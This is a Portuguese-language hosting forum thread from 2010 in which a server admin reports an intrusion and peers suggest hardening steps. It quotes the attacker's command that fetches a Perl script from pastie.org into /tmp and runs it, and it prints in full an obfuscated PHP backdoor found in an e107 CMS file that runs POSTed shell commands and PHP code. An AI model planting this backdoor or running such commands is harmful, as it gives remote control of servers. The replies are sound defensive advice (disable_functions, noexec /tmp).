Fórum cPanel: Ataque, vejam o log - Fórum cPanel

Ir para


Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Ataque, vejam o log

#1 Membro offline   Insert 

  • Esse é irmão!!
  • PipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 336
  • Cadastrado: 11-setembro 09

Posted 24 junho 2010 - 02:23

Hoje finalmente consegui algo mais concreto sobre aqueles ataques onde sao executados scripts perl etc...

vejam:
sh -c wget http://pastie.org/1013782.txt -O /tmp/bash.pl;perl /tmp/bash.pl 2>&1 3>&1

Como sera que isso foi executado? alguem tem ideia de por onde o malvado rodou a sequencia de comandos? tipo sera que foi usando aquela tatica antiga de incluir um arquivo txt dentro de u site com quarystring mal configurado? ou outra forma?
0

#2 Membro offline   alancb 

  • Esse é irmão!!
  • PipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 389
  • Cadastrado: 03-março 07
  • Gender:Male
  • Location:Indaial/SC
  • Interests::)

Posted 24 junho 2010 - 02:34

vc tem shell aberto aos clientes?

ou não bloqueia as funções de sistema no shell_exec do PHP?


0

#3 Membro offline   romerob 

  • Esse é irmão!!
  • PipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 221
  • Cadastrado: 23-dezembro 05

Posted 24 junho 2010 - 03:06

QUOTE(Insert @ Jun 24 2010, 02:23 PM) <{POST_SNAPBACK}>
Hoje finalmente consegui algo mais concreto sobre aqueles ataques onde sao executados scripts perl etc...

vejam:
sh -c wget http://pastie.org/1013782.txt -O /tmp/bash.pl;perl /tmp/bash.pl 2>&1 3>&1

Como sera que isso foi executado? alguem tem ideia de por onde o malvado rodou a sequencia de comandos? tipo sera que foi usando aquela tatica antiga de incluir um arquivo txt dentro de u site com quarystring mal configurado? ou outra forma?



tu axou isso onde ? no bash_history ?
pq ele pode executar isso via web tbm...se foi viz web.. da uma olhada no teu modsec.

flw
0

#4 Membro offline   little_oak 

  • Se às mãos fazem errar -> yum remove hands -y
  • PipPipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 1165
  • Cadastrado: 19-julho 07
  • Gender:Male
  • Interests:Gnu/Linux, Windows Server, PHP, Mysql, Postgres, Ajax, Flex e Café, soldat, Warcraft, Quake, Counter Strike, Cachorros, Surf e tomar muito, mas muito café!

Posted 24 junho 2010 - 05:08

LABEL=/tmp /tmp ext3 noexec,nosuid,nodev 1 2
Esse é o ideal para o /tmp em EXT3 de users cpanel.
No fstab!

This post has been edited by little_oak: 24 junho 2010 - 05:08

0

#5 Membro offline   Insert 

  • Esse é irmão!!
  • PipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 336
  • Cadastrado: 11-setembro 09

Posted 24 junho 2010 - 05:17

Entao recebi alerta de centenas de processos do meu sistema de monitoramento ai fui ver tinha varios xXx rodando e rodei um ps aux | grep LOGIN > log.txt ai pegou estas linhas tambme acredito que no momento que esta executando.

Eu deixo o shell_exec liberado sim, no mod sec nao vai mostrar nada pois foi ececutado o comando, por isso quero saber por onde foi executado, mas deve ter sido via PHP vou buscar por scritps suspeitos na conta do user.
0

#6 Membro offline   Insert 

  • Esse é irmão!!
  • PipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 336
  • Cadastrado: 11-setembro 09

Posted 24 junho 2010 - 05:41

Acho que achei o arquivo de onde foi executado, o site usa algum CMS parece que se chama e107 ai tem um arquivo chamado error.php e numa parte dele tem o codigo abaixo:

CODE
# grep 'shell_exec' * -R
error.php:$ask_or_not_lex = create_function("\$r","\$zxcv_bd=pack(\"c*\",98,97,115,101,54,52,95,100,101,99,111,100,101); \$zxcv_s=pack(\"c*\",115,116,114,108,101,110);\$zxcv_k=pack(\"c*\",119,117,122,97,107,101,121);\$r=\$zxcv_bd(\$r);for(\$i=0;\$i<\$zxcv_s(\$r);\$i++)\$r[\$i]=chr(ord(\$r[\$i])^ord(\$zxcv_k[\$i%(\$zxcv_s(\$zxcv_k))]));return \$r;");$qwerty_xyz=pack("c*",119,117,122,97);if(isset($_POST[$qwerty_xyz])&&$ask_or_not_lex($_POST[$qwerty_xyz])==pack("c*",50,50,101,55,54,53,101,51,53,52,48,50,52,102,101,55)){if (isset($_POST["shellcmd"])) {func1_xyz($ask_or_not_lex($_POST["shellcmd"]));}if (isset($_POST["evalcmd"])) {func2_xyz($ask_or_not_lex($_POST["evalcmd"]));}exit;}function func1_xyz($cmd){if(ini_get("safe_mode"))die("wuzaerror: safe_mode on");if(strpos(ini_get("disable_functions"),"exec"))die("wuzaerror: exec disabled");$cmdOut=shell_exec($cmd);echo"<pre>$cmdOut</pre>\n";}function func2_xyz($phpcode){echo"<pre>";echo eval($phpcode);echo"</pre>\n";}


O que acham?

Alguem sabe como criar uma regra no mod_sec para metodo POST para bloquear o $_POST["shellcmd"] e $_POST["evalcmd"] ?

This post has been edited by Insert: 24 junho 2010 - 05:43

0

#7 Membro offline   little_oak 

  • Se às mãos fazem errar -> yum remove hands -y
  • PipPipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 1165
  • Cadastrado: 19-julho 07
  • Gender:Male
  • Interests:Gnu/Linux, Windows Server, PHP, Mysql, Postgres, Ajax, Flex e Café, soldat, Warcraft, Quake, Counter Strike, Cachorros, Surf e tomar muito, mas muito café!

Posted 24 junho 2010 - 08:11

No usr/local/lib/php.ini procura pela linha:

disable_functions =

Insere depois do "=" as seguintes funções:

dl, system, exec, shell_exec, chown, chgrp, escapeshellcmd, putenv, popen, pclose, passthru, proc_open, proc_get_status, proc_nice, proc_close, proc_terminate, posix_ctermid, posix_get_last_error, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix_getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_strerror, posix_times, posix_ttyname, posix_uname

Depois salva e reinicia seu apache.

Problema deverá estar sanado wink.gif
0

#8 Membro offline   staticx 

  • Ele mora no fórum!
  • PipPipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 576
  • Cadastrado: 19-dezembro 05
  • Location:MG

Posted 25 junho 2010 - 01:46

Pelo menos já excluiram o codigo do exploit php,

http://pastie.org/1013782.txt
0

#9 Membro offline   Insert 

  • Esse é irmão!!
  • PipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 336
  • Cadastrado: 11-setembro 09

Posted 25 junho 2010 - 01:29

Pra mudar o /tmp para noexec tem que reinciar? Tem como aplicar sem reiniciar?
0

#10 Membro offline   Deee_Carlos 

  • Ele mora no fórum!
  • PipPipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 868
  • Cadastrado: 27-fevereiro 06
  • Gender:Male

Posted 27 junho 2010 - 11:34

Se vc precisa liberar shell_exec para algumas contas faça isso:
http://mawan.ind.ws/tagged-%E2%80%98suhosi...klist%E2%80%99/

Não deixe liberado pra todos.

As regras padrão do modsec já são boas d+.
0

#11 Membro offline   Juliano P 

  • Administrador
  • Grupo: Administradores
  • Posts: 228
  • Cadastrado: 08-novembro 08
  • Gender:Male

Posted 01 julho 2010 - 10:24

Dá um mount -o remount,noexec,nosuid /tmp

Daí nao precisa rebutar. Lembra de alterar o /etc/fstab tambem.
0

#12 Membro offline   duranduran 

  • Esse é irmão!!
  • PipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 341
  • Cadastrado: 23-fevereiro 07
  • Gender:Male
  • Location:Rio de Janeiro

Posted 08 julho 2010 - 01:52

QUOTE(little_oak @ Jun 24 2010, 08:11 PM) <{POST_SNAPBACK}>
No usr/local/lib/php.ini procura pela linha:

disable_functions =

Insere depois do "=" as seguintes funções:

dl, system, exec, shell_exec, chown, chgrp, escapeshellcmd, putenv, popen, pclose, passthru, proc_open, proc_get_status, proc_nice, proc_close, proc_terminate, posix_ctermid, posix_get_last_error, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix_getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_strerror, posix_times, posix_ttyname, posix_uname

Depois salva e reinicia seu apache.

Problema deverá estar sanado wink.gif


Isso já previne muitos dos possíveis problemas.
0

#13 Membro offline   little_oak 

  • Se às mãos fazem errar -> yum remove hands -y
  • PipPipPipPipPipPipPip
  • Grupo: Membros
  • Posts: 1165
  • Cadastrado: 19-julho 07
  • Gender:Male
  • Interests:Gnu/Linux, Windows Server, PHP, Mysql, Postgres, Ajax, Flex e Café, soldat, Warcraft, Quake, Counter Strike, Cachorros, Surf e tomar muito, mas muito café!

Posted 08 julho 2010 - 11:12

Juliano, precisa disso tudo não velho:

/scripts/securetmp

pronto!

This post has been edited by little_oak: 08 julho 2010 - 11:15

0

Share this topic:


Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 membro(s), 1 visitante(s), 0 membro(s) anônimo(s)